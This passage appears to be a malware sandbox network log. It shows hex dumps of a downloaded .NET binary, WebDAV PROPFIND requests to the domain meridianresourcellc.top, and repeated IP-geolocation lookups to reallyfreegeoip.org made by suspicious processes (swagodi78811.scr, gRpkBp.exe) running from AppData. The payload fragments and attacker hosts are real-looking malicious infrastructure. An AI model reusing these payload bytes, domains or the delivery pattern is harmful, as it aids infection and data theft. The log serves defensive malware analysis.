2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 00 0a 16 fe 01 2b 01 16 0a 06 2c 0e 00 02 7b 07 00 00 04 6f 53 00 00 0a 00 00 02 7b 10 00 00 04 17 6f 52 00 00 0a 00 2a 00 1b 30 03 00 5d 01 00 00 06 00 00 11 00 02 7b 10 00 00 04 16 6f 52 00 00 0a 00 02 7b 07 00 00 04 2c 10 02 7b 07 00 00 04 6f 49 00 00 0a 16 fe 01 2b 01 16 0a 06 2c 05 38 2c 01 00 00 02 73 4a 00 00 0a 7d 07 00 00 04 02 7b 07 00 00 04 6f 4b 00 00 0a 16 6f 4c 00 00 0a 00 02 7b 07 00 00 04 6f 4b 00 00 0a 72 2c 02 00 70 6f 4d 00 00 0a 00 02 7b 07 00 00 04 6f 4b 00 00 0a 72 d5 02 00 70 6f 4e 00 00 0a 00 02 7b 07 00 00 04 6f 4b 00 00 0a 17 6f 54 00 00 0a 00 02 7b 07 00 00 04 6f 4b 00 00 0a 17 6f 55 00 00 0a 00 02 7b 07 00 00 04 17 6f 56 00 00 0a 00 02 7b 07 00 00 04 6f 4b 00 00 0a 17 6f 4f 00 00 0a 00 02 7b 07 00 00 04 02 fe 06 11 00 00 06 73 Data Ascii: +,{oS{oR*0]{oR{,{oI+,8,sJ}{oKoL{oKr,poM{oKrpoN{oKoT{oKoU{oV{oKoO{s
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 00 02 7b 0a 00 00 04 72 09 03 00 70 6f 32 00 00 0a 00 02 7b 10 00 00 04 18 6f 7e 00 00 0a 00 02 7b 10 00 00 04 06 72 1f 03 00 70 6f 7f 00 00 0a 74 6f 00 00 01 6f 80 00 00 0a 00 02 7b 10 00 00 04 28 81 00 00 0a 6f 82 00 00 0a 00 02 7b 10 00 00 04 72 55 03 00 70 6f 83 00 00 0a 00 02 7b 10 00 00 04 1f 17 1f 16 73 2f 00 00 0a 6f 84 00 00 0a 00 02 7b 10 00 00 04 72 7f 03 00 70 6f 45 00 00 0a 00 02 7b 10 00 00 04 02 fe 06 14 00 00 06 73 3c 00 00 0a 6f 85 00 00 0a 00 02 7b 11 00 00 04 18 6f 7e 00 00 0a 00 02 7b 11 00 00 04 16 6f 52 00 00 0a 00 02 7b 11 00 00 04 06 72 8b 03 00 70 6f 7f 00 00 0a 74 6f 00 00 01 6f 80 00 00 0a 00 02 7b 11 00 00 04 28 81 00 00 0a 6f 82 00 00 0a 00 02 7b 11 00 00 04 72 bf 03 00 70 6f 83 00 00 0a 00 06 72 e7 03 00 70 6f 7f 00 00 0a 75 Data Ascii: {rpo2{o~{rpotoo{(o{rUpo{s/o{rpoE{s<o{o~{oR{rpotoo{(o{rporpou
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 04 6f 3f 00 00 0a 00 02 16 28 3e 00 00 0a 00 02 28 3f 00 00 0a 00 2a 13 30 05 00 1c 00 00 00 09 00 00 11 00 19 8d 4f 00 00 01 25 16 03 16 9a a2 25 17 03 17 9a a2 25 18 04 a2 0a 2b 00 06 2a 6e 72 cf 05 00 70 17 8d 77 00 00 01 25 16 1f 2b 9d 28 8e 00 00 0a 80 06 00 00 04 2a 6a 00 28 8f 00 00 0a 00 16 28 90 00 00 0a 00 73 0b 00 00 06 28 91 00 00 0a 00 2a 26 02 28 92 00 00 0a 00 00 2a 00 00 00 13 30 02 00 39 00 00 00 0a 00 00 11 00 7e 13 00 00 04 14 fe 01 0a 06 2c 22 00 72 ef 05 00 70 d0 05 00 00 02 28 6c 00 00 0a 6f 93 00 00 0a 73 94 00 00 0a 0b 07 80 13 00 00 04 00 7e 13 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 0b 00 00 11 00 7e 14 00 00 04 0a 2b 00 06 2a 22 00 02 80 14 00 00 04 2a 13 30 03 00 21 00 00 00 0c 00 00 11 00 28 1c 00 00 06 72 2d Data Ascii: o?(>(?0O%%%+nrpw%+(j((s(&(09~,"rp(los~+0~+"0!(r-
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: b3 00 00 0a 18 59 1f 0e 6f b4 00 00 0a 00 02 17 16 1f 10 1f 10 73 b5 00 00 0a 28 2f 00 00 06 00 03 6f b0 00 00 0a 02 28 2e 00 00 06 0b 12 01 28 b6 00 00 0a 16 28 27 00 00 06 00 00 2b 61 02 1c 28 3b 00 00 06 13 04 11 04 2c 54 00 03 6f b0 00 00 0a 28 b1 00 00 0a 17 17 02 28 b3 00 00 0a 18 59 1f 0e 6f b4 00 00 0a 00 02 02 28 b3 00 00 0a 1f 11 59 16 1f 10 1f 10 73 b5 00 00 0a 28 2f 00 00 06 00 03 6f b0 00 00 0a 02 28 2e 00 00 06 0b 12 01 28 b6 00 00 0a 17 28 27 00 00 06 00 00 2a 00 00 13 30 02 00 1e 00 00 00 03 00 00 11 00 02 03 28 b7 00 00 0a 00 02 7b 1f 00 00 04 16 fe 01 0a 06 2c 07 02 28 39 00 00 06 00 2a 00 00 13 30 02 00 17 00 00 00 03 00 00 11 00 02 7b 1e 00 00 04 16 fe 01 0a 06 2c 08 02 15 28 38 00 00 06 00 2a 3a 00 02 03 04 05 15 15 28 37 00 00 06 00 Data Ascii: Yos(/o(.(('+a(;,To((Yo(Ys(/o(.(('0({,(90{,(8*:(7
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 00 06 0a 2b 00 06 2a 00 00 13 30 03 00 19 00 00 00 03 00 00 11 00 02 03 16 28 43 00 00 06 16 fe 01 0a 06 2c 08 02 03 28 d2 00 00 0a 00 2a 00 00 00 13 30 03 00 0e 00 00 00 03 00 00 11 00 02 03 17 28 43 00 00 06 0a 2b 00 06 2a 00 00 13 30 03 00 45 00 00 00 1c 00 00 11 00 02 28 2c 00 00 06 16 fe 03 0a 06 2c 31 00 03 28 d3 00 00 0a 0c 08 0b 07 1f 24 2e 17 2b 00 07 20 84 00 00 00 2e 02 2b 15 02 03 04 28 45 00 00 06 0d 2b 0f 02 03 28 44 00 00 06 0d 2b 05 00 16 0d 2b 00 09 2a 00 00 00 13 30 03 00 3f 01 00 00 1d 00 00 11 00 02 28 3a 00 00 06 0a 06 14 fe 03 0b 07 39 24 01 00 00 00 03 28 d4 00 00 0a d0 0d 00 00 02 28 6c 00 00 0a 28 d5 00 00 0a a5 0d 00 00 02 0c 06 6f d6 00 00 0a 13 04 12 04 28 9a 00 00 0a 16 fe 03 0d 09 2c 1c 12 02 7c 41 00 00 04 06 6f d6 00 00 0a Data Ascii: +0(C,(0(C+0E(,,1($.+ .+(E+(D++0?(:9$((l(o(,\|Ao
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 13 30 02 00 2c 00 00 00 20 00 00 11 00 02 28 50 00 00 06 0a 06 2c 07 02 28 5b 00 00 06 00 02 28 52 00 00 06 14 fe 03 0b 07 2c 0c 02 28 52 00 00 06 6f 2b 00 00 06 00 2a 3e 00 02 03 04 05 0e 04 16 28 57 00 00 06 00 2a 4a 00 02 03 04 05 0e 04 15 15 0e 05 28 58 00 00 06 00 2a 00 13 30 06 00 3a 00 00 00 21 00 00 11 00 04 6f c9 00 00 0a 0a 02 04 28 5c 00 00 06 00 02 7b 38 00 00 04 0e 07 6f 2d 00 00 06 00 02 7b 38 00 00 04 03 05 0e 04 0e 05 0e 06 6f 37 00 00 06 00 04 6f e6 00 00 0a 26 2a 00 00 13 30 01 00 31 00 00 00 03 00 00 11 00 02 7b 38 00 00 04 2c 0d 02 7b 38 00 00 04 6f e4 00 00 0a 2b 01 16 0a 06 2c 15 00 02 7b 38 00 00 04 6f e7 00 00 0a 00 02 28 5b 00 00 06 00 00 2a 26 00 02 28 5b 00 00 06 00 2a 00 13 30 02 00 3e 00 00 00 20 00 00 11 00 02 7b 37 00 00 04 Data Ascii: 0, (P,([(R,(Ro+>(WJ(X0:!o(\{8o-{8o7o&01{8,{8o+,{8o([&([0> {7
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 13 02 13 0a 00 81 0c 02 13 0e 00 30 0e c4 10 0e 00 a2 0f c4 10 06 00 26 15 25 0c 06 00 0d 05 25 0c 06 00 96 00 25 0c 0a 00 92 06 02 13 0e 00 9e 13 4b 13 06 00 c2 04 25 0c 12 00 d3 13 82 0a 12 00 57 10 82 0a 0a 00 1f 05 02 13 0a 00 c1 13 02 13 0a 00 0d 0d 02 13 0a 00 7f 05 02 13 12 00 7d 04 82 0a 06 00 29 0a ad 16 0a 00 60 05 02 13 0a 00 3a 17 02 13 cb 01 25 0d 00 00 06 00 8a 10 25 0c 06 00 4f 12 e9 0c 06 00 3d 0f e9 0c 06 00 1d 0f 25 0c 0e 00 85 06 b0 0c 0a 00 6f 15 02 13 12 00 dd 11 82 0a 12 00 b9 0a 82 0a 0a 00 36 0d 2e 16 06 00 b0 10 25 0c 06 00 6a 0b 18 11 00 00 00 00 b3 00 00 00 00 00 01 00 01 00 01 00 10 00 44 0f 27 10 41 00 01 00 01 00 01 00 10 00 5a 0c 27 10 41 00 05 00 0b 00 80 01 10 00 06 0c 27 10 5d 00 13 00 1a 00 00 00 10 00 5e 11 fa 11 5d 00 Data Ascii: 0&%%%K%W})`:%%O=%o6.%jD'AZ'A']^]
2024-07-26 21:45:20 UTC	1369	IN	Data Raw: 86 08 05 04 eb 06 25 00 6c 33 00 00 00 00 86 08 14 04 f0 06 25 00 9c 33 00 00 00 00 84 08 ed 10 88 03 26 00 b4 33 00 00 00 00 84 08 fc 10 8e 03 26 00 c0 33 00 00 00 00 84 08 e4 0d a2 00 27 00 fc 33 00 00 00 00 86 18 94 10 15 00 27 00 58 34 00 00 00 00 c4 00 6e 0a 24 03 28 00 90 34 00 00 00 00 c4 00 7c 15 35 03 29 00 4c 36 00 00 00 00 c4 00 4f 02 61 03 2a 00 78 36 00 00 00 00 84 00 35 02 75 06 2b 00 9b 36 00 00 00 00 86 00 ff 16 75 03 2d 00 ac 36 00 00 00 00 86 00 ff 16 f6 06 30 00 c0 37 00 00 00 00 84 00 5d 15 01 00 35 00 54 38 00 00 00 00 84 00 65 16 06 00 36 00 6c 39 00 00 00 00 86 00 b5 0b c3 03 36 00 b8 39 00 00 00 00 86 00 23 04 01 07 36 00 d8 39 00 00 00 00 84 00 4d 15 07 07 37 00 94 3a 00 00 00 00 94 00 bc 00 0e 07 38 00 b0 3a 00 00 00 00 94 00 bc Data Ascii: %l3%3&3&3'3'X4n$(4\|5)L6Oa*x65u+6u-607]5T8e6l969#69M7:8:

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.22	49169	172.67.197.72	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:24 UTC	170	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 65 72 69 64 69 61 6e 72 65 73 6f 75 72 63 65 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: meridianresourcellc.top
2024-07-26 21:45:24 UTC	748	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 21:45:24 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0MnJXF4N1mFutiJDM0GTIiJfLwoJNY1XtU1IyzFH3YsYsnm%2B%2BwoG9VKNsCSrwULBzldk%2BWGZjZltehm2ajIfakJ8O8GkAofkUY1B%2FVw2oimHeogWFjd3NzzziwJLIc7gxfQjuESIMMD%2B8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a9793993a611879-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:24 UTC	230	IN	Data Raw: 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: e0<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 21:45:24 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-07-26 21:45:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.22	49170	172.67.197.72	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:28 UTC	170	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 65 72 69 64 69 61 6e 72 65 73 6f 75 72 63 65 6c 6c 63 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: meridianresourcellc.top
2024-07-26 21:45:29 UTC	748	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 21:45:28 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jfz3FVHSAjBcFz269Eqy4O1UYnl2uZQ46O%2Fn6XBUJud96nzlFvdJvKrevF9VTpxJvX6%2FfiE%2BOkfxQV%2B%2BMrW9ljZbraOxhcwk23DV4VGRFDDHBG4NGJlqcDOXr53uJo4aGdibZrLuHp2UZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a9793b29fca43a4-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:29 UTC	230	IN	Data Raw: 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: e0<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-07-26 21:45:29 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-07-26 21:45:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49172	188.114.97.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:33 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:33 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52946 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wOq3EccjYzCU4kRj3Xj7U7ViRr9kiUCBBX71fMAQ2QfTGy4yWDTko6QHUHmuk3D2DvnDSeFdlUGzgatqARv%2F6wElnxkogiGdCYgPAjSjes0VddsvA8u%2F19uOG9aqiydsnc5VMMrP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9793d1f9e64401-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:33 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49173	188.114.97.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:34 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 21:45:34 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:34 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52947 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ujXyklca8eklKYIUvbKeF%2BW6YYF7CWg4yD%2F3JoOqXtwD3EjnVAmvuz6EGCAJhKrOKPfKmV1XeJ6TeYHT4fa49mNDgu1LrSd%2FrIYVIEDAjqYryAwNeMcVXhPETtK2fysUBVci90NH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9793d89cb97d00-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:34 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49175	188.114.97.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:36 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:36 UTC	708	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:36 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52949 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=exzimh%2FfCkWM00XKtUP7n7rxKVYdZ61nJESUsj8iNfFV3CcBH05P3ZWmy8sh9raN4sC%2B8047ysrwOX%2BEdL2MxeYZR5%2FgA7XCgj2jtg1NfKwLJE4xQBQHKIa23yYOtYRG3fwRO39l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9793e1aa8f4233-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:36 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49178	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:38 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:38 UTC	708	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:38 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52951 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pSxDHy3qPVKnMaagdSkI9fR9Z1izbWZbwa0XJcbkWV0qEo6CmIWbN4G%2F7zHcnutTzeTE6uAlitoJvQM7vzG2%2B%2BEyuvduH26QMwKQMkG6PkvPrk44z3%2BtaFrnwfq5uPqfgiYWLpBI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9793f18ede439a-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:38 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49179	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
